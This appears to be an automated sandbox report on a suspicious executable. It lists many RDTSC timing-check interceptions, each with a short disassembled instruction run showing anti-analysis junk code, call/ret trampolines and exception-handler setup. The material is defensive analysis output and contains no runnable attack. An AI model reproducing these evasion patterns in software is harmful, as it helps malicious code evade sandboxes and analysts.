Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72ADEC second address: 72ADF4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72ADF4 second address: 72ADF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A33E second address: 72A353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F36ED361E0Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A952 second address: 72A96A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F36EC8543C8h 0x0000000e jns 00007F36EC8543CCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A96A second address: 72A96E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72AC45 second address: 72AC4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72AC4E second address: 72AC54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72AC54 second address: 72AC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72AC5A second address: 72AC5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C483 second address: 72C491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36EC8543CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F687 second address: 72F68B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F68B second address: 72F695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F71E second address: 72F722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FC06 second address: 72FC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jl 00007F36EC8543C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FCFD second address: 72FD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FD83 second address: 72FD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FD87 second address: 72FD8D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7304D4 second address: 7304D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7305BF second address: 7305CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7305CA second address: 7305D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7305D0 second address: 7305D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7305D5 second address: 7305DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73082B second address: 730839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F36ED361E0Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731597 second address: 73159D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731E68 second address: 731E6E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73159D second address: 7315A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731E6E second address: 731E73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73329F second address: 7332FE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F36EC8543C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F36EC8543CEh 0x00000012 jmp 00007F36EC8543CDh 0x00000017 popad 0x00000018 pop eax 0x00000019 nop 0x0000001a sub si, 4185h 0x0000001f push 00000000h 0x00000021 mov edi, edx 0x00000023 push 00000000h 0x00000025 movzx esi, dx 0x00000028 xchg eax, ebx 0x00000029 jmp 00007F36EC8543D4h 0x0000002e push eax 0x0000002f jnp 00007F36EC8543D4h 0x00000035 push eax 0x00000036 push edx 0x00000037 ja 00007F36EC8543C6h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734956 second address: 7349C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D2047h] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F36ED361E08h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007F36ED361E08h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 00000017h 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 mov edi, dword ptr [ebp+122D2310h] 0x0000004b xchg eax, ebx 0x0000004c jmp 00007F36ED361E13h 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 pop edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7349C7 second address: 7349CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7351C0 second address: 7351C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7369FA second address: 736A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36EC8543CFh 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, edx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F36EC8543C8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b sub dword ptr [ebp+122D2EC3h], ecx 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+12479BD4h], eax 0x00000039 push eax 0x0000003a pushad 0x0000003b pushad 0x0000003c jmp 00007F36EC8543CFh 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7351C6 second address: 7351CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7374D8 second address: 7374DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7372B6 second address: 7372C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F36ED361E0Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7372C4 second address: 7372F0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F36EC8543C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d je 00007F36EC8543E4h 0x00000013 pushad 0x00000014 jmp 00007F36EC8543D6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AE30 second address: 73AE44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F36ED361E06h 0x0000000e jno 00007F36ED361E06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AE44 second address: 73AE4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AE4A second address: 73AE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jl 00007F36ED361E06h 0x0000000f jmp 00007F36ED361E0Eh 0x00000014 push eax 0x00000015 pop eax 0x00000016 jmp 00007F36ED361E0Ch 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AE76 second address: 73AE88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007F36EC8543C6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AE88 second address: 73AE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B78B second address: 73B7AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C6D7 second address: 73C6DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B7AC second address: 73B7B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D413 second address: 73D45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebp 0x00000009 call 00007F36ED361E08h 0x0000000e pop ebp 0x0000000f mov dword ptr [esp+04h], ebp 0x00000013 add dword ptr [esp+04h], 00000016h 0x0000001b inc ebp 0x0000001c push ebp 0x0000001d ret 0x0000001e pop ebp 0x0000001f ret 0x00000020 xor bx, 7A51h 0x00000025 mov edi, 5A18C6DBh 0x0000002a push 00000000h 0x0000002c sub dword ptr [ebp+122D1CF0h], eax 0x00000032 push 00000000h 0x00000034 mov ebx, dword ptr [ebp+122D2AD3h] 0x0000003a xchg eax, esi 0x0000003b je 00007F36ED361E14h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D45C second address: 73D460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E2DE second address: 73E388 instructions: 0x00000000 rdtsc 0x00000002 js 00007F36ED361E0Ch 0x00000008 jg 00007F36ED361E06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F36ED361E08h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d jmp 00007F36ED361E18h 0x00000032 pushad 0x00000033 mov dword ptr [ebp+122D1865h], edi 0x00000039 and ebx, 261E3F9Eh 0x0000003f popad 0x00000040 jns 00007F36ED361E0Ch 0x00000046 push 00000000h 0x00000048 or dword ptr [ebp+12455D2Eh], edi 0x0000004e push 00000000h 0x00000050 mov dword ptr [ebp+12472298h], eax 0x00000056 pushad 0x00000057 jnl 00007F36ED361E0Ch 0x0000005d popad 0x0000005e xchg eax, esi 0x0000005f jmp 00007F36ED361E14h 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F36ED361E11h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F33D second address: 73F389 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F36EC8543CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, esi 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+122D2937h] 0x00000017 jp 00007F36EC8543CBh 0x0000001d adc bx, 3898h 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+12455BACh], eax 0x0000002a xchg eax, esi 0x0000002b jmp 00007F36EC8543CCh 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jo 00007F36EC8543CCh 0x00000039 jo 00007F36EC8543C6h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E4F6 second address: 73E503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F36ED361E06h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F389 second address: 73F38E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E503 second address: 73E52C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F36ED361E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F36ED361E1Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E52C second address: 73E531 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E531 second address: 73E537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E537 second address: 73E5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 sub ebx, 0CB0E7A4h 0x0000000e jbe 00007F36EC8543C8h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b stc 0x0000001c jmp 00007F36EC8543D2h 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007F36EC8543C8h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 00000018h 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 movzx ebx, ax 0x00000045 push eax 0x00000046 mov dword ptr [ebp+122D1A4Eh], esi 0x0000004c pop edi 0x0000004d mov eax, dword ptr [ebp+122D0DC5h] 0x00000053 push 00000000h 0x00000055 push esi 0x00000056 call 00007F36EC8543C8h 0x0000005b pop esi 0x0000005c mov dword ptr [esp+04h], esi 0x00000060 add dword ptr [esp+04h], 00000014h 0x00000068 inc esi 0x00000069 push esi 0x0000006a ret 0x0000006b pop esi 0x0000006c ret 0x0000006d mov edi, edx 0x0000006f push FFFFFFFFh 0x00000071 add ebx, 47071085h 0x00000077 adc bx, D7B1h 0x0000007c push eax 0x0000007d pushad 0x0000007e push eax 0x0000007f push edx 0x00000080 jmp 00007F36EC8543D1h 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7411F8 second address: 7411FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7411FE second address: 741215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F36EC8543D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745030 second address: 745043 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F36ED361E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jp 00007F36ED361E06h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746078 second address: 74607E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74607E second address: 7460D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov edi, edx 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F36ED361E08h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007F36ED361E08h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 push eax 0x00000043 pushad 0x00000044 pushad 0x00000045 jns 00007F36ED361E06h 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74235A second address: 742388 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F36EC8543D2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7451FF second address: 745206 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7452C1 second address: 7452DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F36EC8543D9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7452DF second address: 7452F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jng 00007F36ED361E06h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743267 second address: 74326D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746FE7 second address: 746FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742388 second address: 742411 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F36EC8543C8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007F36EC8543C8h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 0000001Bh 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 stc 0x00000045 call 00007F36EC8543CDh 0x0000004a cld 0x0000004b pop ebx 0x0000004c mov dword ptr fs:[00000000h], esp 0x00000053 movzx edi, dx 0x00000056 mov eax, dword ptr [ebp+122D04ADh] 0x0000005c movsx edi, dx 0x0000005f push FFFFFFFFh 0x00000061 mov ebx, dword ptr [ebp+122D24ADh] 0x00000067 push eax 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746FEE second address: 747002 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F36ED361E08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742411 second address: 742415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747002 second address: 747007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747007 second address: 747085 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F36EC8543C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F36EC8543C8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 add di, 2E62h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007F36EC8543C8h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 mov edi, eax 0x00000048 push 00000000h 0x0000004a push 00000000h 0x0000004c push eax 0x0000004d call 00007F36EC8543C8h 0x00000052 pop eax 0x00000053 mov dword ptr [esp+04h], eax 0x00000057 add dword ptr [esp+04h], 0000001Bh 0x0000005f inc eax 0x00000060 push eax 0x00000061 ret 0x00000062 pop eax 0x00000063 ret 0x00000064 push eax 0x00000065 push esi 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747085 second address: 747089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748030 second address: 748035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74917D second address: 7491FC instructions: 0x00000000 rdtsc 0x00000002 je 00007F36ED361E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c jmp 00007F36ED361E16h 0x00000011 nop 0x00000012 mov edi, esi 0x00000014 mov bl, ch 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 call 00007F36ED361E08h 0x00000025 pop eax 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a add dword ptr [esp+04h], 00000015h 0x00000032 inc eax 0x00000033 push eax 0x00000034 ret 0x00000035 pop eax 0x00000036 ret 0x00000037 mov bx, 89B6h 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 pushad 0x00000043 mov di, ax 0x00000046 mov dword ptr [ebp+12455C0Dh], esi 0x0000004c popad 0x0000004d mov eax, dword ptr [ebp+122D0189h] 0x00000053 add dword ptr [ebp+122D246Dh], edi 0x00000059 push FFFFFFFFh 0x0000005b jbe 00007F36ED361E0Bh 0x00000061 and di, 136Ah 0x00000066 push eax 0x00000067 push edi 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74B506 second address: 74B523 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F36EC8543CCh 0x0000000c popad 0x0000000d push eax 0x0000000e ja 00007F36EC8543CEh 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
